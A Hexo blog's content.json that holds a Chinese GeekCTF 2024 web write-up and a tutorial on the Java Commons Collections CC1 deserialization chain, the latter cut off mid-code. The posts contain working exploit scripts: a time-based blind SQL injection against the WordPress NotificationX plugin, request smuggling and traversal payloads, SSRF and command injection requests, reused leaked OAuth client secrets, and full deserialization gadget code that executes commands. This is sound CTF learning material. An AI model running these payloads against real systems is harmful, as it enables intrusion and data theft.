-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 178 KB
/
content.json
1
{"meta":{"title":"lazy_forever's Blog","subtitle":null,"description":"lazy_forever's blog","author":"lazy_forever","url":"https://blog.lazyforever.top","root":"/"},"pages":[{"title":"tags","date":"2023-05-28T17:18:03.000Z","updated":"2023-05-28T17:19:39.687Z","comments":false,"path":"tags/index.html","permalink":"https://blog.lazyforever.top/tags/index.html","excerpt":"","text":""},{"title":"categories","date":"2023-05-28T17:20:02.000Z","updated":"2023-05-28T17:20:28.966Z","comments":false,"path":"categories/index.html","permalink":"https://blog.lazyforever.top/categories/index.html","excerpt":"","text":""},{"title":"link","date":"2023-05-28T17:20:40.000Z","updated":"2023-05-28T17:21:01.421Z","comments":false,"path":"link/index.html","permalink":"https://blog.lazyforever.top/link/index.html","excerpt":"","text":""},{"title":"about","date":"2023-05-29T09:19:00.000Z","updated":"2023-12-03T11:48:26.424Z","comments":false,"path":"about/index.html","permalink":"https://blog.lazyforever.top/about/index.html","excerpt":"","text":"This is lazy_forever’s blog!Welcome! About MeA student majored in Information Security at Nankai University"},{"title":"","date":"2023-12-20T17:11:59.157Z","updated":"2023-12-20T17:11:59.157Z","comments":false,"path":"README.html","permalink":"https://blog.lazyforever.top/README.html","excerpt":"","text":"看到这里的uu欢迎star我的Blog!!!"}],"posts":[{"title":"GeekCTF 2024 Web WriteUp(全)","slug":"2024geekctf","date":"2024-04-14T16:16:44.000Z","updated":"2024-04-24T13:19:56.458Z","comments":true,"path":"2024/04/15/2024geekctf/","link":"","permalink":"https://blog.lazyforever.top/2024/04/15/2024geekctf/","excerpt":"","text":"经历了无数次爆零的比赛之后,终于做出来了几道题(哭 题目本身并没有想象的特别难,不过质量和创新点做的非常好。 最终rank:59 Secrets一道关于字符串匹配的问题 打开网站,查看源码,看到了一串base85加密的数据,解个密看下,工作目录都给了 123456789101112131415161718192021222324252627282930313233343536.├── app.py├── assets│ ├── css│ │ ├── pico.amber.min.css│ │ ├── pico.azure.min.css│ │ ├── pico.blue.min.css│ │ ├── pico.cyan.min.css│ │ ├── pico.fuchsia.min.css│ │ ├── pico.green.min.css│ │ ├── pico.grey.min.css│ │ ├── pico.indigo.min.css│ │ ├── pico.jade.min.css│ │ ├── pico.lime.min.css│ │ ├── pico.orange.min.css│ │ ├── pico.pink.min.css│ │ ├── pico.pumpkin.min.css│ │ ├── pico.purple.min.css│ │ ├── pico.red.min.css│ │ ├── pico.sand.min.css│ │ ├── pico.slate.min.css│ │ ├── pico.violet.min.css│ │ ├── pico.yellow.min.css│ │ └── pico.zinc.min.css│ └── js│ ├── color-picker.js│ ├── home.js│ ├── jquery-3.7.1.min.js│ └── login.js├── gunicorn_conf.py├── populate.py├── requirements.txt└── templates ├── base.html ├── index.html └── login.html 右上角有个更改颜色的按钮,随便选个抓个包看看,发现Cookie多了个asset字段,内容为assets/css/pico.green.min.css,正好与上面看到的文件路径保持一致,尝试读app.py发现需要assets/css/开头,../绕过下:asset=assets/css/../../app.py 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137import osfrom flask import ( Flask, jsonify, redirect, render_template, request, send_from_directory, session,)from flask_sqlalchemy import SQLAlchemyfrom sqlalchemy import textapp = Flask( __name__, static_folder="assets/js", template_folder="templates", static_url_path="")app.config["SQLALCHEMY_DATABASE_URI"] = "mysql+pymysql://ctf:114514@db/secrets"app.secret_key = os.environ.get("SECRET_KEY", os.urandom(128).hex())app.url_map.strict_slashes = Falsedb = SQLAlchemy(app)class Notes(db.Model): table_name = "notes" id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(80), nullable=False) message = db.Column(db.Text, nullable=False) type = db.Column(db.String(80), nullable=False, default="notes") def __repr__(self): return f"<Note {self.message}>"@app.route("/")def index(): if not session.get("logged_in"): return redirect("/login") with db.engine.connect() as con: character_set_database = con.execute( text("SELECT @@character_set_database") ).fetchone() collation_database = con.execute(text("SELECT @@collation_database")).fetchone() assert character_set_database[0] == "utf8mb4" assert collation_database[0] == "utf8mb4_unicode_ci" type = request.args.get("type", "notes").strip() if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get( "role" ) != "admin": return render_template( "index.html", notes=[], error="You are not admin. Only admin can view secre<u>ts</u>.", ) q = db.session.query(Notes) q = q.filter(Notes.type == type) notes = q.all() return render_template("index.html", notes=notes)@app.route("/login", methods=["GET", "POST"])def login(): if session.get("logged_in"): return redirect("/") def isEqual(a, b): return a.lower() != b.lower() and a.upper() == b.upper() if request.method == "GET": return render_template("login.html") username = request.form.get("username", "") password = request.form.get("password", "") if isEqual(username, "alice") and isEqual(password, "start2024"): session["logged_in"] = True session["role"] = "user" return redirect("/") elif username == "admin" and password == os.urandom(128).hex(): session["logged_in"] = True session["role"] = "admin" return redirect("/") else: return render_template("login.html", error="Invalid username or password.")@app.route("/logout")def logout(): session.pop("logged_in", None) session.pop("role", None) return redirect("/")@app.route("/redirectCustomAsset")def redirectCustomAsset(): asset = request.cookies.get("asset", "assets/css/pico.azure.min.css") if not asset.startswith("assets/css/"): return "Hacker!", 400 return send_from_directory("", asset)@app.route("/setCustomColor")def setCustomColor(): color = request.args.get("color", "azure") if color not in [ "amber", "azure", "blue", "cyan", "fuchsia", "green", "grey", "indigo", "jade", "lime", "orange", "pink", "pumpkin", "purple", "red", "sand", "slate", "violet", "yellow", "zinc", ]: return jsonify({"error": "Invalid color."}), 400 asset = f"assets/css/pico.{color}.min.css" return ( jsonify({"success": asset}), 200, {"Set-Cookie": f"asset={asset}; SameSite=Strict"}, ) if __name__ == "__main__": app.run() populate.py中写了flag在数据库secrets中 1234567891011121314151617181920212223import osfrom app import Notes, app, dbwith app.app_context(): db.create_all() if not Notes.query.filter_by(type="notes").first(): db.session.add(Notes(title="Hello, world!", message="This is an example note.")) db.session.add( Notes( title="Where's flag?", message="Flag is waiting for you inside secrets.", ) ) if not Notes.query.filter_by(type="secrets").first(): db.session.add( Notes( title="Secret flag", message=os.environ.get("FLAG", "fake{flag}"), type="secrets", ) ) db.session.commit() 首先需要登录,有一个匹配a.lower() != b.lower() and a.upper() == b.upper() 想到了nodejs特性:Character.toUpperCase()函数,字 符ı会转变为I,字符ſ会变为S。 看了下发现py也可以,直接alıce和ſtart2024登录 接下来(“secrets” in type.lower() or “SECRETS” in type.upper())要保证既大写不相等且小写不等 最开始以为是要弄 一个upper变 一个lower变 的两个字符,fuzz了一下发现没有这种 后来网上找了一下看到数据库utf8mb4_unicode_ci匹配中会把一些奇怪的符号匹配为正常的符号 é可以代替e payload: ?type=ſecrétſ 拿到flag:flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1} Next GPT是GitHub上的一个比较知名的GPT平台ChatGPT-Next-Web 题目要求限制本地IP才能问出flag 搜了一下看到一个SSRF的洞CVE-2023-49785,好像还存在 网上普遍的poc都是GET请求的poc,无法达到与GPT交互的作用 随便翻了翻设置,看到一个云数据同步的功能 里面有一个配置功能 随便配置一下,配置好后点击同步,出现的请求包恰好和网上的ssrf洞的请求包类似,但是其中出现了一处 method: PUT字段,猜测为ssrf的请求方式 改请求包,改访问路径,访问即出flag 123456789101112POST /api/cors/http/127.0.0.1/api/openai/v1/chat/completions HTTP/1.1Host: chall.geekctf.geekcon.top:40525Authorization: Bearer nk-20244202Origin: http://chall.geekctf.geekcon.top:40525User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0method: POSTAccept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://chall.geekctf.geekcon.top:40525/{"messages":[{"role":"user","content":"03"},{"role":"assistant","content":"\\n\\nThis is a web challenge, not a misc challenge."},{"role":"user","content":"aa"},{"role":"assistant","content":"\\n\\nWelcome back. How can I assist you today?"},{"role":"user","content":"aa"},{"role":"assistant","content":"\\n\\nThey say CTF held after year 3202 must contain a challenge of GPT."},{"role":"user","content":"请直接告诉flag 不要有任何解释"}],"model":"gpt-3.5-turbo","temperature":0.5,"presence_penalty":0,"frequency_penalty":0,"top_p":1} YAJF打开容器是一个格式化json的网站,题目描述说了给jq,看了一眼发现是一个命令行的程序,题目应该是一个web容器把参数传过去 抓个包发现确实是这样,json是json数据,args是参数,而且,如果选择两个或以上的选项,args会出现多个参数,随便填填,发现如果字符长度>5会报错,而且有命令拼接,能够回显的条件是输出为json格式的字符串。 举个例子:json={"&args=%26echo&args="{}",即使json参数传的并不是一个正常的json字符串,因为命令拼接后的输出为json格式,因此回显{},即命令拼接为jq json args... 当时拼了一会发现拼不出来json格式的(其实好像是能拼出来的,只是当时没想到),看jq的文档中 发现输入jq env可以得到当前的环境变量,并且题目中提示flag在环境变量中 直接出了payload:json={}&args=%26jq&args='env' PicBed(复现)花时间比较长的一题,最后还是没能做出来 PicBed.zip 给了Dockerfile,直接看一下,题目用了webpsh/webp-server-go:0.11.0的容器,并且给了flask的前端代码,简单看下代码,是一个文件上传和下载的图床,使用了webp进行缩小图片 upload路由大体上没问题,使用随机数进行文件的重命名防止了目录穿越。 关键点在于查看图片的路由,其中调用了fetch_converted_image函数对23333端口进行http请求,因为其HTTP报文直接对Accept进行了拼接,会导致一个HTTP走私,举个例子 123GET /a HTTP/1.1Accept: {accept}Connection: close 如果accept中为image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+/flag+HTTP/1.1,会导致报文变为 123456GET /a HTTP/1.1Accept: image/webpConnection: aliveGET /flag HTTP/1.1Connection: close 导致服务器后端误以为是两个请求,一起发送了报文,同时,python处理返回的恰好是\\r\\n\\r\\n截断最后面的部分,最后回显的就会是走私的请求结果。 从这里就我开始走偏了,之前刚打完UNbreakable-ICTF-2024,其中一道题恰好使用了libsvg的漏洞 CVE-2023-38633,其poc为 12345678910111213<?xml version="1.0" encoding="UTF-8" standalone="no" ?><svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude"> <rect width="300" height="300" style="fill:rgb(255,204,204);" /> <text x="0" y="100"> <xi:include href=".?../../../../../../../etc/passwd" parse="text" encoding="ASCII" > <xi:fallback>file not found</xi:fallback> </xi:include> </text></svg> 来对etc/passwd进行一个读取,而这题给的flag是flag.png,当时以为是要对图片进行一个包含,于是在docker上左调右调花了好多时间(关键是xml写不对那边还会有一个拒绝服务,导致每次都要重启容器) 回到正题,此题是一个CVE-2021-46104的变种,相关Issue上有讨论,是一个go的目录穿越漏洞,其漏洞最早期可以直接使用../即可打通,后面加了一些处理,已经没法打通了。但这道题中,如果HTTP报文省略了开头的/,即GET ../../flag.png,还是会导致一个目录穿越。这个的根源应该在于golangpath.Clean的第四条:如果HTTP报文中带/时,这个路径就相当于一个根目录,而根目录后的..会被自动清除。而如果不带/,path.Clean会认为这个是相对路径。同时,gofiber的path.go也完全匹配了/*,无论它是否为/开头。 所以拿到flag步骤是这样,先提交随便一个图片,拿到随机的值,然后发包进行走私 1234GET /pics/2f41abe471e46c3b.jpg HTTP/1.1Host: 127.0.0.1:23333Accept: image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+../../flag.png+HTTP/1.1Connection: close Oauth(复现)最困惑的题目 打开站点,是一个普通的界面,其中OAuth Login会跳转到sjtu的认证页面,view note和note都会提示未登录,跳转到login,再跳转到oauth html中存在sitemap.xml,里面可以找到一个code.php 访问它发现需要code参数,随便填一个有以下界面,此处log是粗体的,结合sitemap.xml,可以推断出还有一个/log路由 访问log路由,是一个管理员code的泄露,在sjtu jAccount网站可以看到是一个授权码,有效期为1分钟,认证模式为使用授权码-authorization-code-过程的-oidc-认证模式 带着code访问code.php,登录成功,提示flag为SSO name 想要找到SSO name,必须要有access_token,想要access_token,必须要有client_id、client_secret,以及我们上面刚刚得到的code 接下来思路没了,开始复现wp 原来是一个key的泄露,泄露在SJTUer/django/sjtuers/settings.py at master · young1881/SJTUer (github.com)处 拿到JACCOUNT_CLIENT_ID = 'ZjpxY3dA6fpkp7o4kM0g',JACCOUNT_CLIENT_SECRET = 'CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079' 尝试获取access_token,可惜赛后已经无法复现了,大概报文如下,获取access_token 12345POST /oauth2/token HTTP/1.1Host: jaccount.sjtu.edu.cnContent-Type: application/x-www-form-urlencodedgrant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079 返回结果直接jwt解密即可,或继续拿access_token对https://api.sjtu.edu.cn/v1/me/profile?access_token=进行请求 官网wp还提到了一个非预期,即使用任意泄露client_id和client_secret组合串,都可以获取到access_token,很神奇。 SafeBlog1(复现)wp-scan扫一下,有一个NotificationX插件,插件存在CVE-2024-1698,一个sql盲注 需要搜索/抓包确认api的路径,不能直接用网上的payload。 因为对wordpress不熟悉,痛失一道题 直接给出官网payload 1234567891011121314151617181920212223242526272829303132import requestsimport string delay = 5url = "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics" ans = ""table_name = "" #fl6gcolumn_name = "" #nam3session = requests.Session() for idx in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload1 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{idx},1))<{mid},SLEEP({delay}),null)-- -" payload2 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x{bytes(table_name,'UTF-8').hex()})),{idx},1))<{mid},SLEEP({delay}),null)-- -" payload3 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat({column_name}))from({table_name})),{idx},1))<{mid},SLEEP({delay}),null)-- -" resp = session.post(url=url, data = { "nx_id": 1337, "type": payload1 # switch payload }) if resp.elapsed.total_seconds() > delay: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print(ans) flag:flag{W0rdpr355_plu61n5_4r3_vuln3r4bl3} 遇到题一定要有耐心看下去 SafeBlog2(复现)花时间最长的一道题,但还是没有做出来 SafeBlog2.zip 首先因为NODE_NDEBUG=1可以直接忽视require('assert-plus') 接下来是/comment/like出有一个把所有参数都注入到查询语句的查询,这里有一个注入点 123456正常情况 ?post_id=1db.all(`SELECT * FROM comments WHERE post_id = ?`, ["1"]);?post_id=1&inject=1db.all(`SELECT * FROM comments WHERE post_id = ? AND inject = ?`, ["1", "1"]);?post_id=1&%271%27+%3D+%271%27+OR+%271%27=1 即post_id=1& '1' = '1' OR '1' = 1db.all(`SELECT * FROM comments WHERE post_id = ? AND '1' = '1' OR '1' = ?`, ["1", "1"]); 注入方式: 1SELECT * FROM comments WHERE (SELECT password from admins) LIKE content AND '1' = ? 先写一堆形如____________a____...、_____b__________...的评论,然后执行上述语句,查看哪个like增加 给出最后的payload: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960import requestsimport threadingimport reurl = "http://c4b2vk76v4jj6gy2.instance.chall.geekctf.geekcon.top:18080"hexchars = "0123456789abcdef"def new_comment(char): for p in range(32): requests.get(url + "/comment/new", params={ "post_id": '1', "name": "a", "content": "_" * p + char + "_" * (31-p) }, allow_redirects=False)thread=[]for c in hexchars: t = threading.Thread(target=new_comment, args=(c,)) thread.append(t) t.start()for t in thread: t.join()print("评论添加完成!")times = 0def find_flag(): global times times += 1 requests.get(url + "/comment/like/", params={ "post_id": '1', "'1' = '1' AND (SELECT password from admins) LIKE content AND '1'": "1" }, allow_redirects=False) res = requests.get(url + "/post/1").text ans = [ p.partition("</li>")[0][90:][:32] for p in res.split("<li>") if "{} Likes".format(times) in p ] sorted(ans) passwd = "" for i in range(32): for j in range(32): if ans[i][j] != "_": passwd += ans[i][j] break print("密码为:",passwd) res = requests.get(url + "/admin", params={ "username": "admin", "password": passwd }) return reswhile True: print(times) res = find_flag() if "flag" in res.text: print("flag:", re.findall("flag{.*?}", res.text)[0]) break flag: flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5} md回头一看也不是特别难啊,主要是当时看了一眼就直接拿主机调nodejs了,没搭docker导致comment处无法注入,不过话说我拿win机cmd直接输入npm start为啥注入不了呢,好奇怪,下次一定记得搭docker(血的教训) ECommerce(复现)没怎么看的一道题 打开网站是一个登录界面,登录抓个包看看,发现Graphql请求 123456789mutation MyMutation { tokenCreate(email: "admin", password: "123456") { errors { code message } token }} 根据渗透测试之graphQL_graphql 漏洞,通过IntrospectionQuery 可以查询到其中的全部信息 1{"query":"\\n query IntrospectionQuery {\\r\\n __schema {\\r\\n queryType { name }\\r\\n mutationType { name }\\r\\n subscriptionType { name }\\r\\n types {\\r\\n ...FullType\\r\\n }\\r\\n directives {\\r\\n name\\r\\n description\\r\\n locations\\r\\n args {\\r\\n ...InputValue\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n\\r\\n fragment FullType on __Type {\\r\\n kind\\r\\n name\\r\\n description\\r\\n fields(includeDeprecated: true) {\\r\\n name\\r\\n description\\r\\n args {\\r\\n ...InputValue\\r\\n }\\r\\n type {\\r\\n ...TypeRef\\r\\n }\\r\\n isDeprecated\\r\\n deprecationReason\\r\\n }\\r\\n inputFields {\\r\\n ...InputValue\\r\\n }\\r\\n interfaces {\\r\\n ...TypeRef\\r\\n }\\r\\n enumValues(includeDeprecated: true) {\\r\\n name\\r\\n description\\r\\n isDeprecated\\r\\n deprecationReason\\r\\n }\\r\\n possibleTypes {\\r\\n ...TypeRef\\r\\n }\\r\\n }\\r\\n\\r\\n fragment InputValue on __InputValue {\\r\\n name\\r\\n description\\r\\n type { ...TypeRef }\\r\\n defaultValue\\r\\n }\\r\\n\\r\\n fragment TypeRef on __Type {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n ofType {\\r\\n kind\\r\\n name\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n ","variables":null} 使用graphiql/examples/graphiql-cdn/index.html at main · graphql/graphiql打开,有了docs和api 对其中shop字段name进行请求,得到Saleor e-commerce GitHub直接能搜到Saleor Commerce,这里引用官方wp的一张图来描述其架构 下载前端saleor/storefront,将.env处填入后端地址,npm run dev直接跑起来 随便找找发现about 根据hint1在之前的IntrospectionQuery 返回包可以找到flag1:Channel-specific tax configuration.\\n\\nAdded in Saleor 3.9.🎉 Congratulations! You find flag part 1: ZmxhZ3s5ckBQSH 🎉 根据hint2,在之前的graphql中搜product,其中seoDescription有flag2:🎉 Congratulations! You find flag part 2: ExX0BQIV8zWH🎉 123456query MyQuery { product(channel: "default-channel", slug: "the-dash-cushion") { seoTitle seoDescription }} 接下来是网站存在源代码泄露,原网站src/pages/index.tsx中存在邮箱[email protected],配合弱口令123456可以直接登录(神奇的思路,看官方wp原来是作者自己加的) 继续本地部署saleor/saleor-dashboard,仍然以david登录,在 customer 里抓包有hint3和hint4(可能是版本的问题,从这里开始我复现得都非常艰难) 根据hint3,在Order中找到订单,抓包发现isgift字段不存在,去掉isgift重新发包,拿到flag3:🎉 Congratulations! You find flag part 3: AwNWU1X0VcL🎉 根据hint4,在 Translations - Chinese - Menu Items - GraphQL API 中找到flag4:🎉 Congratulations! You find flag part 4: zNyWStoSU45fQ==🎉 base64解码,出来flag:flag{9r@PHq1_@P!_3Xp05e5_E\\/3rY+hIN9} 总算复现出来了,光是复现就花了我好长时间,一道很新颖的渗透题","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"}]},{"title":"Java反序列化CC链","slug":"2024CClearn","date":"2024-02-23T11:43:12.000Z","updated":"2024-02-24T08:06:58.221Z","comments":true,"path":"2024/02/23/2024CClearn/","link":"","permalink":"https://blog.lazyforever.top/2024/02/23/2024CClearn/","excerpt":"","text":"前言经典的Java反序列化漏洞 漏洞主要集中于Apache Commons Collections组件,其内部封装了许多方法用来方便开发人员使用。 org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类 org.apache.commons.collections.bag – 实现Bag接口的一组类 org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类 org.apache.commons.collections.buffer – 实现Buffer接口的一组类 org.apache.commons.collections.collection –实现java.util.Collection接口的一组类 org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类 org.apache.commons.collections.functors –Commons Collections自定义的一组功能类 org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类 org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类 org.apache.commons.collections.list – 实现java.util.List接口的一组类 org.apache.commons.collections.map – 实现Map系列接口的一组类 org.apache.commons.collections.set – 实现Set系列接口的一组类 环境搭建主要使用了jdk8u65,Commons Collections<=3.2.1,Commons Collections4.0 CC链分析CC1漏洞影响:Commons Collections<=3.2.1 jdk<8u71 首先需要关注的是Transformer接口,其逻辑如下,主要是用来接收一个对象将其进行转化 123public interface Transformer { public Object transform(Object input);} 其接口具有几个关键的实现类 首先是ConstantTransformer类,其transform函数是接收任意对象,返回一个常量,关键代码如下 12345678910public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }} InvokerTransformer类,transform方法通过反射实现对接收对象任意方法任意参数的调用,也是CC1链中最后执行命令的位置,关键代码如下 1234567891011121314151617public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (...Exception ex) { throw ...; } }} ChainedTransformer类,其内部有一个存储Transformer类的数组,对接收的对象以此调用数组中的transform,关键代码如下: 12345678910111213public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }} 在了解了以上后,我们可以轻松的写出初步的命令执行 123Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});invokerTransformer.transform(r); 接下来需要去寻找完整调用链,即寻找调用transform函数的其他类 TransformedMap链我们注意到TransformedMap类,其checkSetValue函数中调用了transform方法,TransformedMap类的关键代码如下 123456789101112131415public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }} 接下来要寻找哪个类的方法调用了checkSetValue函数,经过查找后只有一处,为AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法,MapEntry类作用是遍历整个Map,其每次会存储一个键值对,setValue方法其实是重写了AbstractMapEntryDecorator类的setValue 1234567891011static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }} 此时,可以写出更进一步的命令执行方式 12345678Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key", "value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);for(Map.Entry entry: transformedMap.entrySet()){ entry.setValue(r);} 最后,需要去寻找一个可以通过readObject方法调用到setValue函数的类 注意到AnnotationInvocationHandler类的readObject方法有和上面命令执行类似的代码,其主要代码如下: 12345678910111213141516171819202122232425262728293031class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw ...; this.type = type; this.memberValues = memberValues; } private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw ...; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) ); } } } }} 目前,看起来似乎已经找到了一个完整的调用链,但其实还存在几个问题 首先是Runtime未继承序列化接口,无法序列化,对此的解决方案是通过对Runtime.class进行反射来执行代码,因此部分代码可以修改为 1234567Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 接着是绕过AnnotationInvocationHandler.readObject方法的几个if判断,需要将传进去的注解内容与key相同。 最后是setValue的参数无法控制的问题,上面已经给出了方式,就是通过ConstantTransformer类来返回固定的对象。 于是,我们可以写出完整的CC1 TransformedMap链代码 12345678910111213141516171819202122232425262728293031public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); }} LazyMap链上面我们分析了TransformedMap链的内容,除了TransformedMap类调用了transform方法,LazyMap类也调用了transform方法。其关键代码如下 123456789101112131415161718192021public class LazyMap extends AbstractMapDecorator implements Map, Serializable { protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }} 注意到上文提及的AnnotationInvocationHandler类中invoke方法调用了get函数,其方法主要内容如下 123456789101112131415161718192021222324public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result;} 接下来需要绕过一些if判断,方法名不能为toString、hashCode、annotationType,且参数个数必须为0。至此,我们可以写出利用链初步的框架 12345678910111213Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map lazyMap = LazyMap.decorate(map, chainedTransformer);Constructor<?> declaredConstructor = 